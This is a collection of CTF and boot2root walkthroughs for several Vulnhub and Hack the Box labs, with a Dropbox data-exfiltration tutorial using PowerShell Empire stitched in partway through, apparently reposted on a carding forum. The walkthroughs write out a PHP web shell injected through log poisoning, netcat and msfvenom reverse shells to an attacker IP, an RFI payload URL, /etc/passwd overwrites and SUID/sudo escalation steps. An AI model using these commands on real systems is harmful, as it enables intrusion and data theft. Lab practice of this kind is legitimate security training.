Today we are going to take another boot2root challenge known as “DC-5”. The credit for making this VM machine goes to “DCAU” and it is another boot2root challenge in which our goal is to get root access to complete the challenge. You can download it from

[To see content please register here]

.
Security Level: Medium
Penetration Methodology
Scanning

Discovering Targets IP
Network scanning (Nmap)

Enumeration

Surfing HTTP service port
Abusing CMS using LFI
Checking Ngnix Access Logs

Exploiting

Exploiting LFI vulnerability using Burpsuite
Using Netcat to get the reverse shell
Spawning a tty shell

Privilege Escalation

Checking SUID binaries
Kernel Privilege Escalation
Accessing root directory
Capture the flag

Walkthrough
Scanning
Let’s start off with scanning the network to find our target.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

We found our Targets IP Address 192.168.1.108. Our next step is to scan our targets IP Address with nmap.
nmap -A 192.168.1.108
1
nmap -A 192.168.1.108
[Image: 2.png?w=687&ssl=1]

Enumeration
From nmap result we found HTTP service is running on port 80. So, we browsed the Targets IP Address in the browser. Let’s explore the webpage for hints.
[Image: 3.png?w=687&ssl=1]

While exploring the page, we found a contact form which seems interesting. We filled the form and submitted it.
[Image: 4.png?w=687&ssl=1]

After submitting the form we were redirected to Thankyou.php page, we notice the Copyright says 2019.
[Image: 5.png?w=687&ssl=1]

On refreshing the page multiple times, we notice changes in Copyright year i.e 2020 AND 2019 where it was called on thankyou.php file. I try to fuzz this URL but it was not that much easier and after spending some time I test for LFI.
[Image: 6.png?w=687&ssl=1]

Therefore, I Quickly checked for LFI Vulnerability by obtaining the /etc/passwd file as shown below.
[Image: 8.png?w=687&ssl=1]

After going through various files path, we found the nginx access log file.
[Image: 9.png?w=687&ssl=1]

Let’s capture the request of the Nginx Access log file using Burpsuite. Here we will be using LFI to exploit apache access log.
[Image: 10.png?w=687&ssl=1]

Exploiting LFI
In place of the file path, we have injected a Code to get the command line access by making a GET request to the Server.
<?php system($_GET['cmd']) ?>
1
<?php system($_GET['cmd']) ?>
[Image: 11.png?w=687&ssl=1]

To verify that it is working or not, we have added a new parameter to the URL i.e &cmd=id. Therefore from the output, it confirms we have successfully executed the command on the server.
[Image: 12.png?w=687&ssl=1]

Using netcat shell with cmd. This will give us a reverse shell over our netcat listener which we have executed alongside.
nc -e /bin/bash 192.168.1.110 1234
1
nc -e /bin/bash 192.168.1.110 1234
[Image: 13.png?w=687&ssl=1]

Booyah!! We have got the reverse shell. To get the proper shell, we have Spawn the Python TTY Shell. Without wasting much time, I looked for SUID enabled binaries and here /bin/screen-4.5.0 looks interesting.
nc -lvp 1234
1
nc -lvp 1234
[Image: 14.png?w=687&ssl=1]

Privilege Escalation
It quickly strikes us to look for this term screen-4.5.0 using searchsploit. And what we got was a LOCAL PRIVILEGE ESCALATION Exploit. We have copied the exploit on our system.
searchsploit screen 4.5.0
searchsploit -m 41154
1
2
searchsploit screen 4.5.0
searchsploit -m 41154
[Image: 16.png?w=687&ssl=1]

When we didn’t find any appropriate method to execute this shell script for post exploitation then I go with manual compilation and review its code using cat command.
cat 41154.sh
1
cat 41154.sh
If you will notice the following code then you will observe this script is written in C language and we have divided it into three part for manual compilation.

Copy Red highlighted the code and past it in a text document and save it as libhax.c
Copy Yellow highlighted the code and past it in a text document and save it as rootshell.c

At last copy remaining code (Green) and past it in a text document and save it as 41154.sh
[Image: 17.png?w=687&ssl=1]

From given below image you can see I have pasted the above copied code inside libhax.c
[Image: 18.png?w=687&ssl=1]

From given below image you can see I have pasted above copied inside rootshell.c
[Image: 19.png?w=687&ssl=1]

From given below image you can see I have pasted above remaining copied inside 41154.sh and save all three text document inside the /etc directory on our system.
[Image: 20.png?w=687&ssl=1]

Let’s compile our C program file manually in our local system using gcc. Similarly, compile rootshell.c file.
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
1
2
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
Since we have stored all the files in a folder shell, now let’s upload them into the target’s system using python server.
python -m SimpleHTTPServer
1
python -m SimpleHTTPServer
[Image: 22.png?w=687&ssl=1]

Let’s just downloading all the files inside the /tmp folder of the previous reverse shell.
wget

[To see content please register here]

wget

[To see content please register here]

wget

[To see content please register here]

1
2
3
wget

[To see content please register here]

wget

[To see content please register here]

wget

[To see content please register here]

After making the file executable and running, we have got the root access. One final thing to do is to read our FINAL FLAG.
chmod 777 41154.sh
./41154.sh
id
cd /root
ls
cat thisistheflag.txt
1
2
3
4
5
6
chmod 777 41154.sh
./41154.sh
id
cd /root
ls
cat thisistheflag.txt
[Image: 24.png?w=687&ssl=1]

In our previous post, we had already discussed “Command and Control with DropboxC2” But we are going to demonstrate Data Exfiltration by using PowerShell Empire where we will extract the unauthorized data inside our Dropbox account. Here you will learn how an intruder can exfiltrate data over cloud storage.
What is Data Exfiltration
Data exfiltration occurs when malware and/or a malicious actor carries out an unauthorized data transfer from a computer. It is also commonly called data extrusion or data exportation. Data exfiltration is also considered a form of data theft. During the past couple of decades, a number of data exfiltration efforts severely damaged the consumer confidence, corporate valuation, and intellectual property of businesses and national security of governments across the world.
[Image: 0.png?w=687&ssl=1]

Methods of Data Exfiltration
Open Methods:

HTTP/HTTPS Downloads & Uploads
FTP
Email
Instant Messaging
P2P filesharing

Concealed Methods:

SSH
VPN
Protocol Tunneling
Cloud Storage Uploads
Steganography
Timing channel

(

[To see content please register here]

)
Generate Token Via Dropbox API
In order to do that, this tool requires a Dropbox API. To get that, first, create an account on Dropbox. Then after creating the account, head to developer tools here. A webpage will open similar to the one shown below. Here we will select the “Dropbox API”. Then in the type of access section, we will choose “App folder”. Name the app as per choice. Then click on Create App Button to proceed.
[Image: 1.jpg?w=687&ssl=1]

This will lead to another webpage as shown below. Here, move on to the O Auth 2 Section, and
Generate access token. This will give the Dropbox API required for this particular practical; now copy the generated token.
[Image: 2.jpg?w=687&ssl=1]

Data Exfiltration
Now we are going to use Powershell empire for exfiltration, considering we have already compromised the victim machine and we are about to complete our mission by copying data from inside the victim without his knowledge.
As you can observe we have Empire-agent which means I have already spawned shell of victim’s machine and Empire has post exploit for data exfiltration where we will use the above token.
usemodule exfiltration/exfil_dropbox
set SourceFilePath C:\Users\raj\Desktop\notes.txt
set TargetFilePath /Apps/notes.txt
set ApiKey <API Token>
execute
1
2
3
4
5
usemodule exfiltration/exfil_dropbox
set SourceFilePath C:\Users\raj\Desktop\notes.txt
set TargetFilePath /Apps/notes.txt
set ApiKey <API Token>
execute
[Image: 3.png?w=687&ssl=1]

As you can observe that I have notes.txt inside /my files which means we have successfully transferred the data from a source location to destination.
[Image: 4.jpg?w=687&ssl=1]

Thus, in this way, we have successfully transferred the data from the victim’s machine to our dropbox and hence this technique is known as dropbox exfiltration.
[Image: 5.jpg?w=687&ssl=1]

Today we are going to solve another CTF challenge “lightweight”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.
Level: Intermediate
Task: To find user.txt and root.txt file
Note: Since these labs are online available, therefore, they have a static IP. The IP of lightweight is 10.10.10.119
Penetration Methodologies
Scanning

Network Scanning (Nmap)

Enumeration

Ldap database Enumerate (Nmap NSE-script)
HTTP surfing

Exploiting

Connect to SSH
Identify capability folder
Sniffing password via tcpdump
Obtain user.txt

Privilege Escalation

Extracting backup.7z
Identify another user’s credential
Exploit openssl capability
Obtain root.xt

Walkthrough
Scanning
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -A 10.10.10.119
1
nmap -A 10.10.10.119
As you can observe that it has shown port 389 is open for LDAP services and 22 & 80 are available for ssh and http respectively.
[Image: 1.png?w=687]

Enumeration
Therefore, with the help of nmap NSE script we go for LDAP enumeration:
nmap -Pn -p 389 --script ldap-search 10.10.10.119
1
nmap -Pn -p 389 --script ldap-search 10.10.10.119
[Image: 2.png?w=687]

Luckily! Nmap listed two ldapuser1, ldapuser2 usernames along with a hash of their password from the result of nmap scan, yet we did not crack them.
[Image: 3.png?w=687]

Since we know that http service was running on port 80 therefore, we navigate to a web browser and browse target IP and welcome by following page where we saw “This site is protected by against brute forcing ” that mean fail2ban could be running inside VM moreover we found three hyperlinks.
[Image: 4.png?w=687]

When I opened the user.php hyperlink I read the highlighted text and according to this text, a user in the machine has been automatically added for us.
[Image: 5.png?w=687]

Exploiting
Therefore, I try to connect with SSH by using 10.10.14.10:10.10.14.10 as login credential. At this point, I was not sure what should be done to extract hidden flag, therefore, I thought to identify the binary capability files with the help of getcap and saw the fruitful result.
ssh [email protected]
getcap -r / 2>/dev/null
1
2
ssh [email protected]
getcap -r / 2>/dev/null
[Image: 6.png?w=687]

As we have seen in the above image that tcpdump has the capabilities to capture all network traffic even in low-privileged access, therefore I trigger the following command to inspect LDAP connection traffic if possible.
tcpdump -i any -X port ldap
1
tcpdump -i any -X port ldap
And then navigate to the browser to activate authentication via status.php, since the loading takes time. There’s something behind the action has to happen.
As result, we observe the following traffic, as predicted, where I found the ldapuser2 password in plaintext.
[Image: 7.png?w=687]

Then we switch the user with the following credential and obtain our first flag user.txt
Username: ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
1
2
Username: ldapuser2
Password: 8bc8251332abe1d7f105d3e53ad39ac2
[Image: 8.png?w=687]

Privilege Escalation
Inside the directory /ldapuser2, I found an archive as backup.7z and for its inspection, we need to transfer this file mine in our local machine.
cat backuo.7z | base64
1
cat backuo.7z | base64
[Image: 9.png?w=687]

So, I copied it in our machine and try to extract the file, but it was password protected.
[Image: 10.png?w=687]

Then, by using an online link “lostmyoass.com,” I try to break the password key and then find out the cracked password: delete as in the image below.
[Image: 11.png?w=687]

And use the “delete” password to extract the directory. I found some php files here and we looked for a status.php file among those files.
[Image: 12.png?w=687]

The status.php file reveals the password of ldapuser1 as shown in the image.
[Image: 13.png?w=687]

Thus, we switched to ldapuser1 and navigate inside the directory of ldapuser1
su ldapuser1
password: f3ca9d298a553da117442deeb6fa932d
1
2
su ldapuser1
password: f3ca9d298a553da117442deeb6fa932d
[Image: 14.png?w=687]

This time once again I checked for file capacity where I saw OpenSSL has all privileges to read a file that owned root user and therefore we decided to grab root.txt directly through OpenSSL.
getcap -r / 2>/dev/null
./openssl base64 -a -in /root/root.txt | base64 -d
1
2
getcap -r / 2>/dev/null
./openssl base64 -a -in /root/root.txt | base64 -d
[Image: 15.png?w=687]

Today we will be solving a boot2root lab from Vulnhub called Bravery. This lab, like many others, is a good way to keep your penetration testing skills sharp while getting some variety.
Download it from here:

[To see content please register here]

Penetration Methodologies
Scanning

Netdiscover
Nmap

Enumeration

Mount NFS share directory
SMB shared file enumeration

Exploiting

Abusing CMS via RFI
Obtaining reverse shell via netcat

Privilege Escalation

Abusing SUID binary
Capture the Flag

Walkthrough
Scanning
Let’s start with network scanning to identify the IP of VM with the help of netdiscover.
[Image: 1.png?w=687]

So we have our target IP 192.168.1.105 now, let’s scan services and ports via nmap.
nmap -A 192.168.1.105
1
nmap -A 192.168.1.105
We got a fruitful result from nmap scan as we saw so many services were running on the various port.
[Image: 2.png?w=687]

Enumeration
We found network share service is available via port 2049, so we thought to check shared directory in the network. We have therefore installed NFS-client on our local machine and have a command to identify the shared directory available to mount on our local computer.
showmount -e 192.168.1.105
1
showmount -e 192.168.1.105
we found /var/nfsshare is a shared directory that we can mount in our local machine as given below:
mkdir /tmp/raj
mount -t nfs 192.168.1.105:/var/nfsshare /tmp/raj
cd /tmp/raj
ls
cat discovery
cat enumeration
cat explore
cat password.txt
cat qwertyuioplkjhgfdsazxcvbnm
1
2
3
4
5
6
7
8
9
mkdir /tmp/raj
mount -t nfs 192.168.1.105:/var/nfsshare /tmp/raj
cd /tmp/raj
ls
cat discovery
cat enumeration
cat explore
cat password.txt
cat qwertyuioplkjhgfdsazxcvbnm
Hmmm!!! After exploring all files, we concluded that “qwertyuioplkjhgfdsazxcvbnm” could be the password.
[Image: 3.png?w=687]

Because port 445 is also available for SMB, even we have also obtained a password recently thus we can try connecting to SMB to list shared folders. But first we need to enumerate SMB shared directory and for that, we can go with Enum4linux.
enum4linux 192.168.1.105
1
enum4linux 192.168.1.105
[Image: 4.png?w=687]

As you can observe, enum4linux showed two shared folders: anonymous and secured. And we can access them with the help of smb-client.
smbclient //192.168.1.105/anonymous
password: qwertyuioplkjhgfdsazxcvbnm
1
2
smbclient //192.168.1.105/anonymous
password: qwertyuioplkjhgfdsazxcvbnm
We have successfully accessed the shared folder “anonymous”, where I have seen some user’s folders. But while doing an internal recon, I didn’t notice any interesting clues.
[Image: 5.png?w=687]

So, I’m moving to another “secured” folder and here I found three files, which I downloaded on my local computer.
smbclient //192.168.1.105/secured -U David
password: qwertyuioplkjhgfdsazxcvbnm
get david.txt
get genevieve.txt
get README.txt
1
2
3
4
5
smbclient //192.168.1.105/secured -U David
password: qwertyuioplkjhgfdsazxcvbnm
get david.txt
get genevieve.txt
get README.txt
[Image: 6.png?w=687]

Then, each file opened, and some helpful URLs were found, we’re going to navigate them one by one, moreover, the last line was pitching for any CMS login.
[Image: 7.png?w=687]

Initially, we looked at the URL given below but that was no use to us.
//192.168.1.105/devlopmentsecretpage
1
//192.168.1.105/devlopmentsecretpage
[Image: 8.1.png?w=687]

We then explored another URL and found no useful stuff here, too.
//192.168.1.105/devops/directortestpagev1.php
1
//192.168.1.105/devops/directortestpagev1.php
[Image: 8.2.png?w=687]

At last we move to the third and final URL found from the genevieve.txt. Fortunately, I found the following web page differing from two previous results and it could have been CMS.
[Image: 8.png?w=687]

I found a Cuppa CMS login page by exploring other tabs. This might be a turning point as we are attempting to exploit CMS cuppa.
[Image: 9.png?w=687]

Exploiting
I dig out cuppa exploit from inside the searchsploit without wasting time and the CMS is vulnerable to LFI/RFI.
[Image: 10.png?w=687]

Thus, I found a Remote Inclusion File URL when I checked the POC. We now have to be prepared with a reverse shell for the exploitation of RFI.
[Image: 11.png?w=687]

Therefore, I used php-reverse-shell from inside /usr/share/webshell/php and modified the listening IP with Kali’s IP then launch Python HTTP server for file transferring and start netcat listener on listening port.
[Image: 12.png?w=687]

When everything is ready! Just trigger the following URL to exploit RFI.
//192.168.1.105/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=//192.168.1.110:8000/shell.php?
1
//192.168.1.105/genevieve/cuppaCMS/alerts/alertConfigField.php?urlConfig=//192.168.1.110:8000/shell.php?
[Image: 13.png?w=687]

We’ll get a netcat session for the victim’s machine as soon as we trigger the URL. Now we have a low privilege shell and we need to enhance privilege in order to achieve a higher privilege shell. Therefore, to find SUID enable binaries, I run the following command.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Hmmm! So here I notice cp (copy command) has SUID permission that means I can copy any file as root. Now let’s try to escalate the privilege by exploiting SUID enable binary by copying our edited /etc/passwd file inside the victim’s machine.
[Image: 19.png?w=687]

Privilege Escalation
Suppose I would like to create a new user (raj) with root privilege inside /etc/password file of victim’s machine. So first we need to copy the content of /etc/passwd file in a text file inside our local machine and then with the help of OpenSSL generates the salt password for user raj and then copy the salt value.
[Image: 20.png?w=687]

Now open the text file where you have pasted the content of /etc/passwd of victim’s machine and add a new row for user raj along with the salt value that we have generated. Named the file as passwd and transfer this file into victim machine, so that we can replace our /etc/passwd file with original /etc/passwd file of the VM.
[Image: 21.png?w=687]

For downloading /etc/passwd file into Victim’s machine, execute the following command and get the root access to grab the flag.
cd /tmp
wget //192.168.1.110:8000/passwd
cp passwd /etc/passwd
su raj
cd /root
ls
cat proof.txt
1
2
3
4
5
6
7
cd /tmp
wget //192.168.1.110:8000/passwd
cp passwd /etc/passwd
su raj
cd /root
ls
cat proof.txt
[Image: 22.png?w=687]

[Guide] How to unknowndevice64 v2.0: Vulnhub Walkthrough

Posted by: NINZA - 05-14-2020, 05:38 PM - Forum: Carders Home - No Replies

Today we are going to take on another boot2root challenge “uknowndevice64 v2.0” by Ajay Verma. Our goal is to get root and read flag.txt with at least two different ways.
Download it from here:

[To see content please register here]

Difficulty: Beginner
Penetrating Methodology:
Scanning

Netdiscover
NMAP

Enumeration

Web Directory search
Credential harvesting

Exploiting

SSH login (1st Method)
ADB login (2nd Method)

Privilege Escalation

Exploit sudo rights

Capture the Flag
Walkthrough
Scanning:
Let’s start off by scanning the network and identifying host IPs. We can identify our host IP as 192.168.1.22 by using netdiscover. Next, we have to scan this IP using nmap.
netdiscover
nmap -p- -A 192.168.1.22
1
2
netdiscover
nmap -p- -A 192.168.1.22
The result shows that freeciv is running on port 5555, ssh is running on port 6465 and netbus is running on 12345.
[Image: 1.png?w=687]

First, we try to open the IP into browser with port 12345 we were prompted to login. So, we tried the basic credentials with different combinations and got succeeded with ‘Administrator’ as username and password as ‘password’.
[Image: 3.png?w=687]

After logging in, a webpage appeared as you can see here. But nothing of our use.
[Image: 4.png?w=687]

Then tried to access the robots.txt file. We got lucky and found a file here named ‘./info.php’ inside it.
[Image: 5.png?w=687]

When we opened this in the browser, we are prompted to download it.
[Image: 6.png?w=687]

When we open this downloaded file, we got an SSH private key inside it. So, we copied the text from “BEGIN RSA PRIVATE KEY” to “END RSA PRIVATE KEY” and saved it in a file named ‘sshkey’. Besides this key we can see “unkn0wnd3vic3-64” at the end of the file, let’s save this as of now.
[Image: 7.png?w=687]

Here first we have changed permission for the file ‘sshkey’. Then login into ssh using this file on port 6465(as ssh is running on port 6465). And we are asked to enter a passphrase for this ssh key.so we used the text “unkn0wnd3vic3-64” that we saved from info.php and it worked. After that, we switched as root user and listed the content of root.
chmod 600 sshkey
ssh -i sshkey 192.168.1.22 -p 6465
su root
ls
1
2
3
4
chmod 600 sshkey
ssh -i sshkey 192.168.1.22 -p 6465
su root
ls
We spotted a directory named ‘system’ and inside system, we found a file ‘flag.txt’. This is our flag!
[Image: 8.png?w=687]

Another way
We will be using previously gained information to save time. As we knew from Nmap scan that freeciv is running on port 5555 so tried to connect it with adb. After getting a shell, we switched to root and captured the flag (as we already knew the flag is inside flag.txt within system directory).
abd connect 192.168.1.22:5555
abd shell
su root
cat system/flag.txt
1
2
3
4
abd connect 192.168.1.22:5555
abd shell
su root
cat system/flag.txt
Finally!! The challenge is completed, and we have grabbed the flag.txt file using two different approaches.
[Image: 9.png?w=687]

Today we will be solving a boot2root lab from Vulnhub called SILKY-1. This lab, like many others, is a good way to keep your penetration testing skills sharp while getting some variety.
Download it from here:

[To see content please register here]

Level: Easy-Intermediate
Task: Boot to Root (flag.txt)
Penetration Methodologies
Scanning

Netdiscover
Nmap

Enumeration

Web Spreading
txt
Generating Password Dictionary (Crunch)

Exploit

Brute force attack (Hydra)
SSH Login

Identify SUID Enable Binaries

Privilege Escalation
Exploit PATH Variable

Capture the flag
Walkthrough
Scanning
We start by scanning the network for targets using Netdiscover.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

So we found target IP 192.168.1.106 and proceed by running a Nmap scan for all its ports to see what we can find.
nmap -A 192.168.1.106
1
nmap -A 192.168.1.106
[Image: 2.png?w=687&ssl=1]

Since port 8080 is running HTTP-proxy, so our obvious choice is to browse Target’s IP in the browser but didn’t find any hint.
[Image: 3.png?w=687&ssl=1]

Enumeration
We checked the robots.txt file for the results of nmap and showed /notes.txt as our next indication.
[Image: 4.png?w=687&ssl=1]

So, we found a text message that is written in German when we explored the notes.txt file.
[Image: 5.png?w=687&ssl=1]

With the help of Google translator, I translate the German message, which was connected to password hint:
“I absolutely have to remove the password from the page, after all, the last 2 characters are missing. But still.”
[Image: 6.png?w=687&ssl=1]

Then again, I visit the home page to view its source code and found a link for script.js
[Image: 7.png?w=687&ssl=1]

So, I found the word: s1lKy when navigating to /script.js as shown below. Hmmm!!! This word s1lKy could be the possible password as said in the above text message.
[Image: 8.png?w=687&ssl=1]

So, without wasting time I decided to generate a dictionary with the help of crunch. As per the text message last 2 characters are missing. But these 2 characters could be any combination such as alpha-alpha, alpha-ALPHA, alpha-numeric, alpha-special character or vice-versa and so on.
And after spending almost one-an-hour I successfully found the valid combination for ssh login as port 22 is opened.
crunch 7 7 -t s1lky^% >> pass.txt
1
crunch 7 7 -t s1lky^% >> pass.txt
[Image: 9.png?w=687&ssl=1]

Exploit
Assuming username could be silky, and password could be in pass.txt, I lunched brute force attack using hydra on port 22 for identifying the valid combination of ssh login.
hydra -l silky -P pass.txt 192.168.1.106 ssh
1
hydra -l silky -P pass.txt 192.168.1.106 ssh
[Image: 10.png?w=687&ssl=1]

Since we found silky Confused

1lky#5 as username and password for ssh login, now it was time to access ssh shell and escalated the root privilege to capture the flag.
ssh [email protected]
1
ssh [email protected]
Once I logged in successfully than without wasting much time, I looked for SUID enabled binaries and here /usr/bin/sky looks interesting.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Although when I run this program it shown “root” in its output as a result along with some German text. To analysis its result I try to inspect the program script with the help of strings which a command line utility to identify the file type.
stings /usr/bin/sky
1
stings /usr/bin/sky
Hmm!! the information I found through strings was that this program is executing to commands simultaneously. First, echo command to show the German text message and another whoami.
[Image: 11.png?w=687&ssl=1]

Privilege Escalation
To escalated root privilege, we can abuse PATH Variable as shown below and for more detail read the complete article from

[To see content please register here]

.
echo '/bin/sh' > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/sky
1
2
3
4
echo '/bin/sh' > whoami
chmod 777 whoami
export PATH=/tmp:$PATH
/usr/bin/sky
OKAY!! We got another shell which is a root shell as shown below, let’s now grab the flag.txt file and complete the challenge.
id
cd /root
flag.txt
1
2
3
id
cd /root
flag.txt
[Image: 12.png?w=687&ssl=1]

Today we will be solving a boot2root lab from Vulnhub called Sputnick:1. This lab, like many others, is a good way to keep your penetration testing skills sharp while getting some variety.
Level: Easy
Task: To find flag.txt
Table of Content
Scanning

Open ports and Running services (Nmap)

Enumeration

Web Directory search
Credential harvesting

Exploitation

Splunk reverse and bind shell
Python reverse shell
Accessing shell

Privilege Escalation

Capture flag.txt

Scanning
We start by scanning the network for targets using Netdiscover
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

So we found target IP 192.168.1.103 and proceed by running a Nmap scan for all its ports to see what we can find.
nmap -p- -A 192.168.1.103
1
nmap -p- -A 192.168.1.103
[Image: 2.png?w=687&ssl=1]

Enumeration
The scan shows us we have port 8089, 8191, 55555 and 61337 open. Port 55555 has an associated IP address and a directory link for git repository; we investigate it to see what we can find. We copy and paste it into our browser.
[Image: 3.1.png?w=687&ssl=1]

We access the “Logs” directory and click on the “HEAD” file within.
[Image: 3.png?w=687&ssl=1]

There is a link for a Git page, we go to the link and find Flappy. Git clone is used to clone and download the file to our system for further investigation.
Once the file in downloaded we explore its contents but nothing stands out, so we access their logs.
git clone

[To see content please register here]

git log
1
2
git clone

[To see content please register here]

git log

We see that the command gave us the logs for our file and the search starts. We focus on the commit’s and start searching through them.
Finally, we come across the highlighted commit and strike gold!
[Image: 5.png?w=687&ssl=1]

We use the “ls-tree” to get an indented listing of the file.
The screenshot shows a file named “secret”; we used the git show command on its string to see what is reveals
git ls-tree 07fda135aae22fa7869b3de9e450ff7cacfbc717
git show f4385198ce1cab56e0b2a1c55e8863040045b085
1
2
git ls-tree 07fda135aae22fa7869b3de9e450ff7cacfbc717
git show f4385198ce1cab56e0b2a1c55e8863040045b085
[Image: 6.png?w=687&ssl=1]

Now, what could this be? We recalled seeing a Splunk service running on port 61337, we accessed it on our browser to find a login screen for Splunk.
192.168.1.103:61337
1
192.168.1.103:61337
[Image: 7.png?w=687&ssl=1]

Exploitation (Splunk)
The information we got earlier from the previous screenshot is in fact login credentials. The username is “sputnik” and the password is “ameer_says_thank_you_and_god_job”, we enter these and are able to get into the Splunk account.
We looked around for a while and then decided to upload a shell to the account. On searching, we found a way to weaponize Splunk with reverse and bind shell from

[To see content please register here]

The .gz file from the link was saved on our system, we navigate to the “App: Search & Reporting” option and click on “Search & Reporting”
[Image: 8.png?w=687&ssl=1]

Click on the “Install app from file” option.
[Image: 9.png?w=687&ssl=1]

Using the browse option, we find our shell, select it and upload it.
[Image: 10.1.png?w=687&ssl=1]

Click on the “Restart Now” to restart the application.
[Image: 10.2.png?w=687&ssl=1]

We scroll down to find our shell file as shown below. Before we can run, it we need to click on the “Permissions” option to change its permissions.
[Image: 10.png?w=687&ssl=1]

Configuration files need to be added in order to run the shell successfully, here we set permission to everyone and at the bottom, we click on the “All apps” radio button and save this change.
[Image: 11.png?w=687&ssl=1]

Now to execute the shell. We navigate to the search option in Splunk and type in our command defining that we want a reverse shell of standard type to talk to out attach machines IP on the listening port.
| revshell std 192.168.1.110 1234
1
| revshell std 192.168.1.110 1234
[Image: 12.png?w=687&ssl=1]

Access Victim’s Shell
Netcat is running on our machine listening on port 1234 and see shell talking back.
The “id” command was used to no avail so we decided to step it up a notch.
nc -lvp 1234
1
nc -lvp 1234
[Image: 13.png?w=687&ssl=1]

We used Msfvenom to create a python payload.
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.110 lport=4444 R
1
msfvenom -p cmd/unix/reverse_python lhost=192.168.1.110 lport=4444 R
[Image: 14.png?w=687&ssl=1]

The payload is uploaded through our existing Netcat session, all that needed to be done was the payload to be pasted into the terminal and executed.
nc -lvp 1234
1
nc -lvp 1234
[Image: 15.png?w=687&ssl=1]

A new Netcat session is started on the port (4444) that we defined in our payload and we see the execution occur flawlessly.
Privilege Escalation
We run the “id” command to see that our user is “splunk”.
Time privilege escalation. On the splunk prompt, we first run the “sudo -l” command and enter the password that we used earlier to log into Splunk “ameer_says_thank_you_and_good_job” where we found splunk user can ed as root.
So close to root! Now, all we have to do is run the “sudo ed” command and then the “!/bin/sh” command. Type in “id” and there you go! We have root!
id
sudo -l
ameer_says_thank_you_and_good_job
sudo ed
!/bin/sh
1
2
3
4
5
id
sudo -l
ameer_says_thank_you_and_good_job
sudo ed
!/bin/sh
[Image: 16.png?w=687&ssl=1]

Time to look for our flag.
We look in the root directory to find “flag.txt” and use “cat” to open it. Hooray for us!
As always, we at Hacking Articles hope you enjoy this lab and share it with your collogues. This lab has a great feature that gives you an insight into exploiting Splunk. Overall the lab is easy and the level of frustration it might induce is minimal.
Have fun and stay ethical.
[Image: 17.png?w=687&ssl=1]

Today we are going to take on another challenge known as “DEVELOPMENT”. This is designed for OSCP practice, and the original version of the machine was used for a CTF. It is now revived and made
slightly more nefarious than the original. The author of this VM machine is “Donavan”. Our goal is to get the flag to complete the challenge.
Download it from here:

[To see content please register here]

Security Level: Intermediate
Penetrating Methodology:
Scanning

Netdiscover
NMAP

Enumeration

Run http service
Web spidering

Exploiting

Remote File Inclusion
Ssh login

Privilege Escalation

Exploit sudo rights
adding new user

Capture the Flag
Walkthrough
Scanning:
Let’s start off by scanning the network and identifying host IPs. As illustrated below, we can identify our host IP as 192.168.1.104.
netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Time to scan the Target’s IP with Nmap.
nmap -sV 192.168.1.104
1
nmap -sV 192.168.1.104
We can clearly see from screenshot a few open ports e.g. 22(ssh),139(NetBIOS-ssn), 445(NetBIOS-ssn), 8080(http-proxy).
[Image: 2.png?w=687&ssl=1]

Enumeration
Since port 8080 is running HTTP-proxy, so our obvious choice is to browse Target’s IP in the browser. Here we got a clue about some html_pages. It could either be any Directory or a webpage.
[Image: 3.png?w=687&ssl=1]

So, let’s dig into the source code if we can find something useful. Here they are talking about some Development secret page and Patrick is being mentioned, he could be a user:
[Image: 4.png?w=687&ssl=1]

Now moving ahead lets surf through the webpage mentioned earlier which is html_pages. Here again, we can see a few html files in which “development.html” could be of our interest.
[Image: 5.png?w=687&ssl=1]

When you visit development.html, you can find a mention of “hackersecretpage” nothing else seems useful.
[Image: 6.png?w=687&ssl=1]

Again we went through the source code of the same and found “./developmentsecretpage” .This seems our secret page.
[Image: 7.png?w=687&ssl=1]

If you visit the page, it is confirming to be the Development secret page and a PHP file link named ‘Patrick’.
[Image: 8.png?w=687&ssl=1]

If we visit the file link it opens a page with another file included in it named ‘Sitemap’.
[Image: 9.png?w=687&ssl=1]

And when we visit /sitemap.php, we clicked on the embedded link stating “Click here to logout” which turned out to be Login page.
[Image: 10.png?w=687&ssl=1]

Exploitation
We just tried random login credentials “admin” for both username and password and 1234 that’s a success.
[Image: 11.png?w=687&ssl=1]

Here we are getting a short of error message on the top of the page. So we Googled about it.
[Image: 12.png?w=687&ssl=1]

We found an exploit for the same listed on Exploit-db with the name of “/[path]/slog_users.txt” which is vulnerable to RFI. Refer CVE code: 2008-5762/63.
[Image: 13.png?w=687&ssl=1]

When we appended the slog_users.txt file with our webpage we found four users and their password hashes.
[Image: 14.png?w=687&ssl=1]

After decrypting the hashes, we got passwords in clear text for an intern, Patrick and qiu respectively but not for Admin.
[Image: 15.png?w=687&ssl=1]

Privilege Escalation
As we knew port 22 is open for ssh so here I try to login into ssh using intern and we got access of ssh as shown below. After that, we found a list of commands that are allowed to run here. Then we checklist of files using ‘ls’ as it was one of the allowed commands. We found two text files here ‘local.txt’ and ‘work.txt’ but when we try to open them, we failed.
ssh [email protected]
?
ls
cat local.txt
1
2
3
4
ssh [email protected]
?
ls
cat local.txt
Hmm! we got access of restricted shell where we can run only a few commands allowed by admin. So, to import proper tty shell, we can import ‘/bin/bash’ by using the following command:
echo os.system('/bin/bash')
cat local.txt
cat work.txt
1
2
3
echo os.system('/bin/bash')
cat local.txt
cat work.txt
Next, we try again accessing the same ‘local.txt’ file and it just shows a congratulatory message, so we moved on to work.txt, here as well it is showing we have to move further with user Patrick and we already knew Patrick’s password.
NOTE: At first attempt, you will get an error SSH connection refuse, therefore restart the Vulnerable machine to get connect with SSH.
[Image: 16.png?w=687&ssl=1]

After logging in as patrick, we check the sudo rights for him where I found Patrick has ALL Users permissions including root user to run vim and nano as shown below.
su patrick
sudo -l
1
2
su patrick
sudo -l
[Image: 17.png?w=687&ssl=1]

